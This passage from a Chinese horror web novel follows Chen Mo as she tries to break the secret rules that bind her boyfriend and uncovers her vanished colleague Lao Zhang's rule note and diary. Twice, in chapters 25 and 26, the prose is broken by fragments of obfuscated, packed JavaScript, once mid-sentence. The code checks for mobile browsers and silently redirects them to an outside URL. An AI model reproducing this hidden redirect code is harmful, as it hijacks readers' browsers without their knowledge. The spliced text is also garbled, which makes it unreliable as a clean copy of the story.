就是一个人吃完一碗面，说“好吃”的正常反应。 陈默不知道该说什么。 她只是站在那儿，看着他。 他站起来，走到她面前。 低头看着她。 那两只眼睛，很正常。 “怎么了？”他问。 陈默摇摇头。 “没事。” 他伸手，揉了揉她的头发。 “面很好吃，下次再做。” 他转身，走进卧室。 陈默站在饭桌旁，看着那个空碗。 碗里干干净净，一点汤都没剩。 她想起那张纸条上的话。 “真正的他，不能吃你做的饭。” 不能吃。 但他吃了。 他吃完了。 他说好吃。 和以前完全不一样。 但那个“不一样”，到底意味着什么？ 是因为他真的不能吃，所以以前都是装的？ 还是因为他能吃了，所以有什么东西变了？ 她不知道。 她只知道，他刚才的反应，太正常了。 正常到让她害怕。 十八 那天夜里，陈默又失眠了。 她躺在床上，睁着眼，盯着天花板。 王志强在旁边，睡着，呼吸均匀。 那股味道，还是那个浓度。 没有变浓，没有变淡。 就是那个味道。 她慢慢转过头，看他的脸。 黑暗里，那张脸，很平静。 和每天一样。 和以前一样。 没有任何异常。 她想起他今天吃面的样子。 和以前完全不一样。 但他的表情，他的反应，他的每一句话—— 都太正常了。 正常到她找不出任何破绽。 正常到她开始怀疑，那张纸条是不是假的。 正常到她开始想，也许以前那些“只吃几口”，真的只是因为他胃口不好。 也许他今天胃口好，所以吃完了。 也许就是这么简单。 也许什么都没有。 十九 但她睡不着。 她盯着那张平静的脸，盯了很久。 然后她闭上眼睛。 脑子里只有一个念头—— 明天，她还要回家。 他还会坐在沙发上。 还会说“回来了”。 还会拍身边的位置。 还会伸手搂她。 和每天一样。 和每天一模一样。 就像她从来没离开过。 就像他一直坐在那儿。 断线，重连。 断线，重连。 每天都在重复。 她不知道这样的日子还要过多久。 她只知道，她逃不掉。 因为没地方可逃。 二十 天亮的时候，陈默起床。 王志强已经不在了。 她洗漱，换衣服，化妆。 镜子里的自己，眼袋又重了一点，脸色又灰了一点。 那双眼睛里的亮，还在。 但比前几天淡了一点。 也许是因为没睡好。 也许是因为…… 她不知道。 她盯着那双眼睛，看了很久。 然后她下楼，去上班。 路过厨房的时候，她看见那个碗。 还放在桌上。 干干净净的碗。 她站了一会儿。 然后推开门，走出去。 外面阳光很好。 新的一天开始了。 和昨天一样。 和明天一样。 和以后每一天一样。 --- 第二十四章完 25. 第二十五章 赌一把 第二十五章赌一把 一 陈默做了一个决定。 这个决定是在凌晨三点冒出来的。她躺在床上，盯着天花板，王志强在旁边睡着，呼吸均匀。那股油味比昨天又浓了一点，浓到她躺在床上都能闻见自己身上也沾上了。 她睡不着。 脑子里反复转着那张新纸条上的话。 “真正的他，不能吃你做的饭。” 不能吃。 但他已经吃了。 就在昨天，她做的那碗面，他全吃完了。 吃完之后，他说“好吃”，然后那个诡异的笑——她现在想起来还后背发凉。 她不知道这意味着什么。 但她知道，他变了。 从她收到那张纸条开始，一切都在变。 那张纸条，那个老人，那枚一分钱硬币——像一颗石子扔进平静的水面，涟漪一圈一圈地扩散，到现在已经变成了漩涡。 她想起那条旧规则第四条：真正的他，从不洗澡。 从不洗澡。 三年了，她从来没见过他洗澡。 一次都没有。 她以前没注意过这件事。谁会注意自己的男朋友洗不洗澡？你默认他会洗，就像你默认他会吃饭、会睡觉、会呼吸一样。 但现在她知道了。 他不洗澡。 三年，一千多个日夜，他从来没让水碰过他的身体。 她不知道这是不是他的规则。 但她想试试。 二 第二天是周六。 陈默醒来的时候，阳光已经照满了整个卧室。她眨了眨眼，适应了一下光线，然后转过头。 王志强不在旁边。 她坐起来，听客厅里的动静。 电视的声音。 他在看电视。 和每一个周末的早晨一样。 她下床，走到客厅。 他坐在沙发上，手里拿着遥控器，屏幕上放着什么早间新闻，主持人的声音平平的。 听见脚步声，他转过头，笑了一下。 “早。” 陈默点点头。 “早。” 她走过去，在他旁边坐下。 他伸手搂她。 她靠在他身上。 那股油味飘进鼻子里。比以前浓了一点，但闻久了就习惯了。就像你习惯一个房间里永远有某种气味，直到有一天你离开那个房间，才想起来原来空气可以是无味的。 “王志强。”她开口。 “嗯？” “你今天有事吗？” 他想了想。 “没有。怎么了？” 她抬起头，看着他。 那张脸，和平时一样。高挺的鼻梁，微凸的嘴，连成一片的下巴。四十多岁的中年男人，普通得不能再普通。 但她知道，那只是表面。 “我想……你陪我洗个澡。” 他愣住了。 那两只眼睛，在早上的光线里，很正常。但她看见他的瞳孔缩了一下——不是平时那种自然的收缩，是被光线刺激到的收缩，而是另一种收缩，像有人突然掐住了他的心脏。 “什么？” “陪我洗个澡。”她说，声音尽量保持平静，“我买了新的浴盐，一个人泡没意思。你陪我一起。” 他看着她，没说话。 那眼神，她读不懂。 有恐惧。 有挣扎。 还有一点……渴望？ 她不知道。 “我不爱洗澡。”他说。 “我知道。”她靠回他身上，“就这一次。陪我一次。” 他没说话。 她也没说话。 两个人就这么坐着。电视里继续放着新闻，主持人说今天最高气温多少度，说某条路正在施工请绕行，说某地发生了一起什么事故。 那些声音从耳边飘过，她一个字都没听进去。 她只听见自己的心跳。 咚，咚，咚。 和他的心跳不一样。他的心跳太规律了，像一个精准的节拍器，一下一下，永远不变。 过了很久，他开口了。 “好。” 就一个字。 但那个字，说得比平时慢。 慢到她能听见那个音节从他喉咙里挤出来的过程。 三 陈默站起来，走进浴室。 放水。 热水从水龙头里冲出来，砸在浴缸底部，发出哗哗的声音。热气升腾起来，很快整个浴室就雾气蒙蒙的。 她把浴盐倒进去。 浴盐是她上周买的，一直没拆封。本来是想自己泡澡用的，但她一个人懒得弄，就一直放在柜子里。 水变成淡淡的蓝色，香味飘起来。是薰衣草的味道，她说不上喜欢还是不喜欢，就是那种“浴室该有的味道”。 她站在浴室门口，回头看他。 他还在沙发上坐着。 没动。 “王志强，水放好了。” 他慢慢站起来。 走过来。 每一步都走得很慢，像走向刑场。 他站在她面前。 低头看着她。 那两只眼睛，在浴室的光线里，有一点发亮。不是发光，是雾气折射的那种亮，但她知道不是。 “你确定？”他问。 陈默点头。 他看了她很久。 然后他笑了。 那个笑，和平时不一样。 不是敷衍的笑，不是贴上去的笑。 是一种她看不懂的笑。 像是认命。 像是解脱。 像是终于等到了这一天。 “好。”他说。 他走进去。 四 陈默没进去。 她站在门外，听着里面的声音。 水声响起的那一刻，她的心跳停了一拍。 那是真正的、人洗澡的水声。 水打在皮肤上的声音。 人转身时带起的水声。 水从身上流下去的声音。 这些声音她每天都能听见——她自己洗澡的时候就是这样。但从他那里听见，还是第一次。 三年了。 第一次。 然后她听见一声低吼。 很轻，但她听见了。 像痛苦，又像解脱。 像一个人被压在水下很久很久，终于浮出水面呼吸到第一口空气时发出的声音。 水声响了很久。 五分钟。 十分钟。 十五分钟。 二十分钟。 三十分钟。 她站在门外，一动不动。腿有点酸，但她没动。她怕一动，里面的声音就会停下来。她怕一动，这一切就会被打断。 她不知道自己在等什么。 等那个声音结束？ 等他出来？ 等他变回人？ 还是等那个东西出现？ 她不知道。 她只知道她必须站在那里。 三十二分钟的时候，水声停了。 然后是一片安静。 那种安静很诡异。刚才还那么吵，现在突然什么都听不见了。连他擦身子的声音都没有，连他穿衣服的声音都没有，什么都没有。 她屏住呼吸。 然后门开了。 五 王志强站在浴室门口，看着她。 她愣在原地。 那个人，不是她认识的王志强。 身上的味道消失了——那油油的、腻腻的、甜酸甜酸的味道，一点都没了。取而代之的是沐浴露的香味，正常的、该有的味道。 眼睛不再发光——是正常的、人的眼睛。眼白是白的，瞳孔是黑的，在光线里正常地收缩。 皮肤是正常的温度——隔着两步远，她都能感觉到那股热气从浴室里涌出来，带着水汽，带着温暖。 他看着她。 那眼神，是她三年没见过的。 不是那个敷衍的笑，不是那个贴上去的笑，不是那个空壳。 是真正的他。 “陈默。”他开口。 声音沙哑，像很久没说过话。像一个被关了三年的人，第一次开口。 她站在原地，说不出话。 他走过来，走到她面前。 低头看着她。 水珠从他头发上滴下来，滴在她的手背上。温的。 “谢谢你。”他说。 她愣住。 “谢谢……什么？” 他笑了。 那个笑，是真的。眼睛弯起来，嘴角翘起来，和正常人一样。 “谢谢你让我洗了这个澡。三年了，我第一次……能做几分钟自己。” 她看着他，眼眶突然酸了。 他伸出手，放在她脸上。 那只手，是温的。 正常的温度。 “陈默，你听我说。我时间不多。” 他语速很快。 “我有规则。五条规则。每一条都是‘从不’。从不洗澡，从不照镜子，不能开灯睡觉，不能吃你做的饭，还有最后一条。” 她盯着他的眼睛。 “你破了第一条。水能洗掉它，但只能洗掉表面。根还在。它很快就会回来。” 她脑子里“嗡”的一声。 规则。 他也有规则。 她从来不知道。 “你……你也有规则？” 他点头。 “每一个被选中的人，都有规则。老人有，老张有，我有，你也有。” 她愣住了。 “老张？” “对。老张也是被选中的人。他收到了老人的规则，遵守了大部分。但他违反了第六条——不能回头看。所以他消失了。” “老张……消失了？” “不是死。是被它带走了。每一个违反规则的人，都会被它带走。变成它的养料。” 他看着她，眼神复杂。 “我也是被选中的人。老张把规则传给了我。我遵守了四年。四年里，我没有洗过澡，没有照过镜子，没有开灯睡过觉，没有吃过你做的饭，没有……” 他顿住了。 “没有什么？” 他看着她。 那眼神，有点痛苦。 “我不能说。最后一条，我不能说。” “为什么？” “因为说了，它就会知道。” 他的眼睛开始闪烁。 光，一点一点地亮起来。 “它要回来了。”他说，语速更快，“陈默，你记住。我还有最后一条规则。破了它，我就没了。但你会自由。” “自由？什么意思？” “它是我养大的。我没了我，它也没了。你会自由。” 他的眼睛越来越亮。 “最后一条规则是什么？你告诉我，我帮你破——” 话没说完。 光完全亮了。 他站直了，看着她。 笑了一下。 “怎么了？” 那个笑，又变回贴上去的。 陈默站在原地，看着他。 他知道自己是谁吗？ 他记得刚才说过什么吗？ 不记得了。 他什么都不记得了。 “没什么。”她说。 他点点头，转身走进卧室。 陈默站在客厅里，手心全是汗。 最后一条规则是什么？ 他没说。 他说“不能说”。 说了，它就会知道。 它是什么？ 是那个东西吗？ 那个藏在他身体里的东西？ 六 那天晚上，王志强很早就睡了。 陈默躺在床上，听着他的呼吸。 他睡着，呼吸均匀。 和平时一样。 但她知道，不一样了。 她知道他有规则了。 五条。 第一条：从不洗澡——今天破了。 第二条：从不照镜子——还不知道。 第三条：不能开灯睡觉——还不知道。 第四条：不能吃她做的饭——昨天破了。 第五条：最后一条——不知道是什么。 昨天，他吃了她做的面。 今天，他洗了澡。 两条了。 还有三条。 她不知道那三条是什么。 但她可以试。 一条一条地试。 七 她转过头，看着他的侧脸。 月光从窗帘缝里漏进来，照在他脸上。 那张脸，很平静。 但她盯着看的时候，突然发现一件事。 他的皮肤底下，有什么东西在动。 很细微。 像虫子在皮下爬。 她屏住呼吸。 那些蠕动的东西，从脸颊爬到额头，从额头爬到脖子，从脖子爬到胸口。 然后，他的眼睛睁开了。 在黑暗里，那两只眼睛发着光。 盯着她。 她浑身一僵。 他没动。 她也没动。 两个人就这么对视着。 过了很久——可能是几秒，可能是几分钟——他开口了。 “看什么？” 声音和平时一样。 但那个语气，不对。 陈默摇头。 “没什么。” 他闭上眼睛。 继续睡。 她躺在那里，心跳得像要炸开。 她知道，他在看她。 一直在看。 从她躺下开始，就在看。 看了多久？ 她不知道。 她只知道，那个东西还在他身体里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387637|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那个“它”。 八 第二天早上，陈默醒来的时候，王志强已经不在床上了。 她坐起来，走出卧室。 他坐在沙发上，看电视。 和每天一样。 听见脚步声，他转过头，笑了一下。 “早。” 陈默点点头。 “早。” 她在他旁边坐下。 他伸手搂她。 她靠在他身上。 一切都和每天一样。 但她知道，不一样了。 她闻了闻他。 那股油味，又回来了。 比昨天淡一点，但确实回来了。 她想起他说的话。 “水只能洗掉表面。根还在。” 根还在。 所以她洗掉的，只是表面的东西。 真正的他，还在里面。 九 那天上午，陈默开始观察。 她观察他的一举一动。 他有什么是“从不”的？ 从不洗澡——破了。 从不吃她做的饭——破了。 还有什么？ 她在脑子里列了一个清单。 从不照镜子——她没见过他照镜子。家里有镜子，卧室有穿衣镜，卫生间有洗漱镜，玄关有穿衣镜，化妆台上有小圆镜。她每天都照，他从来不照。 不能开灯睡觉——卧室的灯，晚上从来不亮。她以前以为他怕光，现在想想，也许不是怕，是不能。 还有别的吗？ 她盯着他看。 他在看电视，手里拿着遥控器。 他换台的时候，眼睛会瞟一眼电视屏幕。 电视屏幕是黑的吗？不是。电视屏幕在播放节目，但有画面的时候，屏幕是亮的，能照出人影。 他看见自己了吗？ 她不知道。 十 下午，陈默做了一件事。 她站在卧室的穿衣镜前，假装在整理头发。 王志强从客厅走进来，去拿东西。 路过她身边的时候，他停了一下。 就一下。 他的眼睛，往镜子里瞟了一眼。 就一眼。 然后他走开了。 陈默从镜子里看着他的背影。 他看见镜子里的自己了。 但她不确定这算不算“照镜子”。 他只是瞟了一眼。 没有停下来盯着看。 没有对着镜子说话。 没有像她观察的那样——她照镜子的时候，会看自己的脸，看自己的眼睛，看自己有没有变老。 他只是瞟了一眼。 像任何人路过镜子时都会做的那样。 这算破了吗？ 她不知道。 十一 晚上，陈默故意把卧室的灯关了。 屋里一片漆黑。 她躺到床上，王志强躺在她旁边。 他没说话。 她也没说话。 她等着。 等他说“开灯”。 等他说“太黑了”。 等他说任何话。 但他什么都没说。 就那么躺着。 呼吸均匀。 她忍不住了。 “王志强。” “嗯？” “你怕黑吗？” 他沉默了一下。 “不怕。” “那为什么我们睡觉从来不关灯？”她问，“我是说，从来不关？” 他沉默了更久。 “你记错了。”他说，“一直关着。” 陈默愣了一下。 她记错了吗？ 她努力回想。 三年，一千多个日夜。每天晚上睡觉，灯是开着的还是关着的？ 她记不清了。 她只记得，她躺下的时候，灯是开着的。然后她睡着了。然后天亮的时候，灯还是开着的。 中间关没关过，她不知道。 她睡着了。 她不知道他有没有起来关过。 她不知道。 “也许吧。”她说。 他没再说话。 她躺在黑暗里，盯着什么都看不见的天花板。 第三条规则，她没试出来。 十二 夜里，她又失眠了。 她躺在床上，盯着天花板——虽然什么都看不见。 王志强在旁边睡着，呼吸均匀。 她慢慢转过头，朝他的方向看。 什么都看不见。 但她知道他在那儿。 她能感觉到他的温度。 能闻见那股淡淡的油味。 能听见他的呼吸。 她伸出手，在黑暗里慢慢往前摸。 摸到他的脸。 凉的。 比平时凉。 那只手，在她手底下，一动不动。 她摸到他的眼睛。 闭着的。 她摸到他的鼻子。 在呼吸。 她摸到他的嘴。 闭着的。 她把手收回来。 然后她听见一个声音。 “摸什么？” 她的心跳漏了一拍。 他没动。他还在睡着。他呼吸均匀。 但那声音，是从他那个方向传来的。 “摸什么？” 又一遍。 陈默没回答。 她躺在那里，一动不动。 黑暗里，她什么都看不见。 但她知道，他在看她。 那两只发光的眼睛，在黑暗里，盯着她。 她不知道盯了多久。 她只知道，天亮的时候，她醒过来。 他不在旁边。 阳光从窗帘缝里漏进来。 她坐起来。 手心里全是汗。 十三 那天是周一。 陈默去上班。 坐在工位上，她盯着电脑屏幕，脑子里全是那些规则。 第一条：从不洗澡——破了。 第二条：从不照镜子——不知道。 第三条：不能开灯睡觉——不知道。 第四条：不能吃她做的饭——破了。 第五条：最后一条——不知道。 她需要验证第二条和第三条。 然后，她需要找到第五条。 那最后一条。 那条不能说的规则。 那条破了之后，他就会消失的规则。 她不知道那是什么。 但她会找到的。 她必须找到。 为了自由。 为了不再害怕。 为了不再半夜醒来，发现黑暗里有发光的眼睛盯着她。 为了这一切能结束。 --- 第二十五章完 26. 第二十六章 老张的遗物 第二十六章老张的遗物 一 周一下午，陈默办完最后一笔业务，盯着电脑屏幕发呆。 老张的工位还在斜对面空着。 他的水杯还在，那个缺了口的白瓷杯，杯壁上有一圈洗不掉的茶渍。他的文件夹还在，整整齐齐一摞，最上面那个夹着他失踪那天准备好的业务单子。他的工装外套还在，深蓝色的，袖口磨得发白，搭在椅背上，像他随时会回来穿上。 已经一个月了。 警察来过，问了话，做了笔录，走了。他们说会调查，但陈默知道他们不会查出什么。老张没有家人，没有朋友，没有债主，没有仇人。一个普普通通的银行职员，干了八年，没得罪过任何人，就这么凭空消失了。 没人关心。 只有陈默关心。 因为她知道，老张不是凭空消失的。 她想起王志强洗澡那天清醒时说的话。 “老张也是被选中的人。他收到了老人的规则，遵守了大部分。但他违反了第六条——不能回头看。所以他消失了。” 被“它”带走了。 陈默盯着那个空工位，心里涌起一股说不清的感觉。 老张是她入行时的师傅。 五年了，他教她点钞，教她应付客户，教她在周行长眼皮底下偷懒。 他说的最多的一句话是：“别紧张，慢慢来，谁不是从新人过来的？” 现在他没了。 二 下班前，陈默去了人事部。 小李正在收拾东西准备走人，看见她进来，愣了一下。 “陈姐？有事？” “我想查一下老张的住址。” 小李看着她，眼神有点复杂。 “你还惦记着老张呢？” 陈默点点头。 “他是我师傅。我想去看看。” 小李叹了口气，打开电脑。 “XX小区，15栋，302。” 陈默记下地址。 XX小区。 和她住一个小区。 15栋，302。 三年来，她和老张住同一个小区，只隔两栋楼，她从来没去过。 三 下班后，陈默没直接回家。 她往15栋走。 天已经黑了，路灯亮着，小区里没什么人。几只野猫在垃圾桶旁边翻东西，看见她就跑了。 15栋是栋老楼，六层，没电梯。楼道里的灯坏了一半，剩下的也忽明忽暗的。 她爬上三楼。 302。 门关着，灰色的防盗门，门上贴着几张催缴单，还有一张物业贴的通知，说该交物业费了。 她按门铃。 没人应。 敲门。 砰砰砰。 还是没人应。 她贴在门上听。 里面很安静。 什么都听不见。 她站在门口，不知道该怎么办。 隔壁的门开了，一个老太太探出头来。 “找老张？” 陈默转头。 “是，您认识他？” 老太太点点头。 “认识，住了好多年了。不过他好久没见着了，你找他有事？” 陈默犹豫了一下。 “我是他同事。他……一直没来上班，我想看看是不是出什么事了。” 老太太叹了口气。 “唉，那孩子，可怜。一个人住，也没个亲戚。前些日子警察也来过，问了半天，后来也没下文了。” 陈默看着那扇关着的门。 “您知道怎么进去吗？” 老太太想了想。 “房东我认识，就住对面那栋。你要不要找他？” 四 房东是个五十多岁的男人，姓刘，秃顶，爱抽烟，说话嗓门很大。 陈默找到他的时候，他正在楼下抽烟。 “老张的房？”他眯着眼看她，“你是他什么人？” “同事。他一个月没来上班了，我想进去看看有没有工作上的东西。” 刘房东吐了口烟。 “警察也来看过，啥也没找着。那屋里就那点破东西，能有什么？” “能让我进去看看吗？就一会儿。” 刘房东看了她一眼。 “行吧。不过我可说好，他那房租还欠着呢，你要是有他消息，让他赶紧给我补上。” 他掏出一串钥匙，带着她往15栋走。 五 门开了。 一股霉味扑面而来。 陈默站在门口，愣了好几秒。 老张的家很小。一室一厅，老式的装修，家具都是旧的。客厅里放着一张沙发，一个茶几，一台老电视。茶几上放着一个杯子，水早就干了，杯底有一圈白色的水垢。 他失踪那天早上，应该正在喝水。 陈默走进去。 刘房东站在门口，没进来。 “你看吧，我楼下等你。看完了把门带上就行。” 他走了。 陈默一个人站在老张的客厅里。 很安静。 太安静了。 她听见自己的心跳。 咚，咚，咚。 六 她先从客厅看起。 茶几的抽屉里有一些杂物：旧报纸、缴费单、几支笔、一个老花镜。 没有纸条。 沙发的垫子下面，什么都没有。 电视柜的抽屉里，有几张光盘，都是老电影，上面落满了灰。 没有纸条。 她走进卧室。 卧室更小，一张床，一个衣柜，一个床头柜。床单是灰蓝色的，叠得整整齐齐。 她先翻床头柜。 第一个抽屉：几本旧书，一本《平凡的世界》，一本《活着》，还有一本《鬼吹灯》。 第二个抽屉：一些药，感冒药、止痛药、创可贴。 第三个抽屉：空的。 没有纸条。 她站起来，看着那张床。 枕头。 她走过去，掀开枕头。 枕头下面，压着一张纸条。 叠得整整齐齐。 她拿起来，展开。 手开始抖。 那张纸条，和她收到的那张一模一样。 但上面的字迹不同——是老张自己的笔迹。 《与“它”同居共存守则》 1. 他深夜回家敲门时，不要马上开门。数到三十，再开。 2. 他喝醉后说的话，无论多难听，不要反驳，不要流泪，点头就好。 3. 如果他在酒桌上吹牛说“我朋友是银行的，有的是钱”，三天内必须让他搬出去。 4. 真正的他，从不洗澡。 5. 如果他在KTV点了陪酒女，而那个女人朝你看了一眼——跑。能跑多远跑多远。 6. 真正的你，不能回头看。 陈默盯着第六条。 不能回头看。 老张自己加上的。 字迹很重，像用尽最后的力气写的。 但她注意到一个细节。 老张的规则上，第三条写的是“我朋友是银行的”。 老张是男的。 他收到的规则，和自己的不一样。 就像她收到的规则，写的是“对你男朋友”。 老人怎么知道她有男朋友？ 除非…… 除非规则不是固定的。 除非规则会自动变化，变成收到纸条的人“需要”的样子。 她突然想起王志强说的话。 “老人把规则传给了老张。老张把规则传给了我。” 老人传给老张的时候，规则上写的什么？ 是“女朋友”还是“男朋友”？ 老张没有女朋友，那他的“它”是谁？ 她不知道。 但她知道，这张纸条是真的。 老张真的收到过规则。 七 她把纸条小心地折好，放进口袋。 然后继续翻。 床底下有一个纸箱，她拖出来。 里面是一些旧衣服，还有几本笔记本。 她翻开最上面那本。 是老张的日记。 从两年前开始。 第一天。 今天收到一张纸条。一个老人从窗口塞进来的。他说：“今晚十二点前看。记住，对你朋友，必须照做。” 我没有朋友。 但我有……一个室友。 我不知道该叫他什么。 第七天。 我发现他从不洗澡。 三年了，我从来没注意过。 他是谁？ 我害怕了。 第三十天。 我违反了第二条。 他喝醉后骂我，我反驳了。 他变了。 眼睛会发光。 第一百天。 我不敢跑。 我没地方去。 我离婚了，没孩子，父母早就不在了。 跑了能去哪儿？ 第三百天。 我的眼睛开始发光了。 照镜子的时候，我看见里面那个人，不像我了。 第五百天。 我知道我逃不掉了。 但我想留下点什么。 如果有人能找到这里，希望她能看见这张纸条。 第七百天。 我把纸条抄了一份，压在枕头下面。 老人传给我的那条，已经旧了。 这是新的。 我加了一条。 “不能回头看”。 这是我自己发现的。 回头了，就没了。 陈默翻到下一页。 字迹变了。 歪歪扭扭的，像另一个人写的。 最后一天。 它让我回头看。 我知道不该回。 但我太想看看它到底是什么了。 我回了。 然后……我还在写？ 不对，我没在写。 这是谁在写？ 日记到这里中断。 下一页只有一行字。 那笔迹，陈默认识。 和自己那张纸条上的字迹一样。 “老张已经没了。我是它。别来找他。也别来找我。” 八 陈默合上日记本，坐在地上。 很久没动。 老张也有一个“它”。 老张也遵守规则。 老张违反了第六条。 老张回头了。 然后他消失了。 被“它”带走了。 那个写最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387638|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一页的东西，就是“它”。 它用老张的手，写下那句话。 “我是它。” 陈默低头看自己的手。 那双手，还是她的手。 但她突然想起一个问题。 如果有一天，她也违反了规则。 如果有一天，她也回头了。 那她会不会也变成“它”？ 会不会也用自己的手，写下“我是它”？ 她不知道。 她站起来，把日记本放回纸箱，把纸箱推回床底。 然后她走出卧室，走出那个小小的家。 关上门。 九 下楼的时候，她腿有点软。 扶着墙，一层一层往下走。 走到二楼的时候，她停下来。 靠在墙上，大口喘气。 脑子里全是那些话。 “不能回头看。” “回头了，就没了。” “我是它。” 她想起老张的样子。 那个每天坐在工位上、认真办业务的老张。 那个教她点钞、教她应付客户的老张。 那个说“别紧张，慢慢来，谁不是从新人过来的”的老张。 他没了。 被“它”带走了。 她深吸一口气，继续往下走。 十 走出15栋，外面下起了小雨。 陈默站在雨里，没动。 雨不大，细细的，落在脸上凉凉的。 她抬头看天。 灰蒙蒙的，看不见月亮，看不见星星。 只有雨，一直下。 她想起那个老人。 那个雨天来存一分钱的老人。 他也收到过规则。 他也遵守过。 他也活到了最后。 然后他把规则传给了老张。 他死了吗？ 还是也变成了“它”？ 她不知道。 她只知道，她现在手里有两张纸条了。 一张是老人传给她的。 一张是老张自己写的。 还有王志强。 王志强也有规则。 他的规则，是什么？ 十一 她往7栋走。 走到楼下的时候，她抬头看七楼的窗户。 亮着灯。 他在家。 她站在雨里，看着那扇窗。 窗里有个人影，坐在沙发上，看电视。 和每天一样。 她突然想起王志强说的话。 “老张把规则传给了我。” 老张传给王志强的时候，规则上写的什么？ 是“女朋友”还是“男朋友”？ 王志强有女朋友——她。 所以规则变成了“对你女朋友”。 就像她收到的规则，写的是“对你男朋友”一样。 规则会自动变化。 变成收到纸条的人“需要”的样子。 那老张收到的规则，写的应该是“对你室友”或者“对你男朋友”——因为他那个“它”，是男的。 她不知道。 但她知道，她现在离真相近了一步。 十二 她走进单元门，上电梯，到七楼。 掏出钥匙，开门。 屋里开着灯。 王志强坐在沙发上，看电视。 听见门响，他转过头，笑了一下。 “回来了？” 陈默点点头。 “嗯。” 她换鞋，放下包，走过去坐下。 他伸手搂她。 她靠在他身上。 那股油味飘过来。 比以前浓了。 “今天怎么这么晚？”他问。 “加班。” 他没再问。 电视里放着什么综艺节目，罐头笑声一阵一阵的。 她靠在他身上，一动不动。 脑子里全是老张。 老张的纸条。 老张的日记。 老张的最后一句话。 “不能回头看。” 她闭上眼睛。 那只搂着她的手，凉凉的。 她没躲。 十三 那天夜里，陈默又失眠了。 她躺在床上，盯着天花板。 王志强在旁边睡着，呼吸均匀。 她慢慢转过头，看着他的侧脸。 月光从窗帘缝里漏进来，照在他脸上。 那张脸，很平静。 但她知道，那不是平静。 那是等。 等她开口。 等她发现他的规则。 等她让他破掉最后一条。 然后他消失。 然后她自由。 她伸出手，在黑暗里，轻轻碰了碰他的脸。 凉的。 和平时一样。 她把手收回来。 闭上眼睛。 脑子里反复转着老张日记里的那句话。 “回头了，就没了。” 她不会回头。 她不能回头。 她要找到他的规则。 她要让他消失。 她要自由。 --- 第二十六章完 27. 第二十七章 我看见你了 第二十七章我看见你了 一 陈默从老张家回来的第三天，开始正式行动。 她已经知道王志强的规则了。 那天他洗澡后清醒时，亲口告诉她的。 五条规则。 第一条：从不洗澡——破了。 第二条：从不照镜子——还没破。 第三条：不能开灯睡觉——还没破。 第四条：不能吃她做的饭——破了。 第五条：最后一条——不知道是什么。 她需要破掉第二条和第三条。 然后找到第五条。 二 周一早上，陈默醒来的时候，王志强已经坐在客厅里了。 他坐在沙发上，看电视。和每天一样。 她走过去，在他旁边坐下。 他转头看她，笑了一下。 “早。” 陈默点点头。 “早。” 她靠在他身上，闻着那股油味。 比前几天又浓了一点。 她不知道这意味着什么。 但她知道，她必须开始行动了。 “王志强。”她开口。 “嗯？” “今天下班后，我们去逛商场吧。” 他愣了一下。 “商场？” “嗯。好久没一起逛街了。我想买几件衣服。” 他看着她，没说话。 那眼神，和平时一样。空洞的，贴上去的。 “好啊。”他说。 还是那个笑。 三 整个上午，陈默都在想这件事。 她坐在工位上，办着业务，脑子里却全是镜子。 家里的镜子太少了。 卧室有一面穿衣镜，卫生间有一面洗漱镜，玄关有一面穿衣镜，化妆台上有一面小圆镜。 但这些镜子，王志强从来不看。 她观察过。 他早上起来，进卫生间洗漱，眼睛只看水龙头，只看毛巾，只看牙刷——就是不看他自己的脸。 他晚上睡觉前，进卧室，眼睛只看床，只看她——就是不看他自己的脸。 他路过玄关，眼睛只看门，只看钥匙——就是不看他自己的脸。 他从来不看镜子。 一次都没有。 三年了。 她从来没注意过。 现在她知道了，那不是习惯，是规则。 四 中午休息的时候，陈默一个人坐在食堂角落。 饭在面前，一口都没动。 她脑子里反复想着一个问题：怎么让他照镜子？ 直接让他照，他肯定会躲。 她需要制造一个场景，让他“不得不”照镜子。 比如试衣服。 男人试衣服的时候，总会看一眼镜子吧？ 她决定从商场入手。 五 下午四点，陈默开始收拾东西。 旁边的小刘探过头来。 “陈姐，今天走这么早？” “嗯，有事。” 小刘看了看她，又看了看窗外。 “你男朋友来接你？” 陈默愣了一下。 “你怎么知道？” 小刘笑了。 “楼下那辆黑色奔驰，停好一会儿了。不是你男朋友的？” 陈默站起来，走到窗边。 楼下，那辆熟悉的黑色奔驰停在路边。 王志强坐在车里，没下来。 她看着那辆车，心里突然涌起一个念头。 三年前，他也是这样接她的。 那时候她刚入行不久，每天下班最期待的就是看见那辆车停在楼下。 他会下车，给她拉开车门，问她今天累不累。 她说不累，他就笑。 那时候他的笑，是真的。 不是现在这种贴上去的笑。 六 下楼的时候，陈默走得很慢。 她想起三年前的事。 刚在一起的时候，王志强不是这样的。 他会记住她喜欢吃什么，不喜欢吃什么。 她随口说一句“好久没吃火锅了”，第二天他就带她去。 她加班到很晚，他会一直在楼下等，从来不发火。 她心情不好，他会逗她笑，说那些一点都不好笑的冷笑话。 那时候她觉得，这辈子就是他了。 什么时候开始变的？ 她不知道。 也许是那次吵架之后。 也许是他第一次夜不归宿之后。 也许是她第一次发现他手机里那些消费小票之后。 她不记得了。 她只记得，慢慢地，他不再逗她笑了。 慢慢地，他不再等她下班了。 慢慢地，他变成现在这样。 一个坐在沙发上、等着她回来、对她笑一下的陌生人。 七 她拉开车门，坐进去。 车里空调开得很足，冷气扑面而来。 王志强没看她，盯着前方。 “系安全带。” 陈默系上安全带。 